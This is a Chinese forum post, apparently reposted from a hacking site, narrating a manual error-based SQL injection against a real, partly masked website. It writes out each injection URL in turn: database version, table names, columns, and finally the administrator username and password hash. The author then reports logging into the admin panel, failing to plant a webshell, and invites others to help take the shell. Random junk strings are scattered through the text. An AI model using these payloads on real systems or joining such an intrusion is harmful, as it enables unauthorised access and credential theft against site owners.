近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。5 ^. h! s9 D4 K4 s0 \# w* h6 ~
首先找到网站后台,加了个admin,后台出来了 2 T' M, j) G, J
( y, P- W+ K6 N7 l) E* D
9 e v: J/ H) u0 B4 D
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入* }/ q/ _ b. A1 Z$ Y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—7 C W& \' d* y# |, w4 m6 `
, m/ r* F: q) Z4 D# X. l, G0 Y& c U" e% ~' f
( N& H: l3 q0 H: K+ L" l/ [* S
9 s2 ?% Q# P; d: E" ~" ^; @ B
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg# i7 k/ g5 q3 ~2 ]4 }
8 a& @. D3 r: u4 x5 l
9 s! Y# |- y8 t" @3 f7 s! v/ b$ s( I X, G
$ I, z" r& B5 g- K- ?+ P( @ \可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
! a: `% s7 z' Y- w& q$ \; r1 U
) S+ E8 r. S; ~/ N( Y
3 _6 ^ V; [% |1 D- ohttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
' O) V5 O2 X+ g( z
$ S9 n/ u. G2 b; I' L: W1 h+ |- _7 Y/ {/ o
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--2 v( O9 D% Q& Q( Z+ G
! n- p2 |) p% I3 M
! B( I8 T; {5 A- S$ k
, w1 q0 l: x# S8 f: K% A
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
! T0 e& _) s3 q' a0 E- a: r& f0 L3 e7 o
' y$ U9 V# @+ ? c& G5 n! w( a% z7 b
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |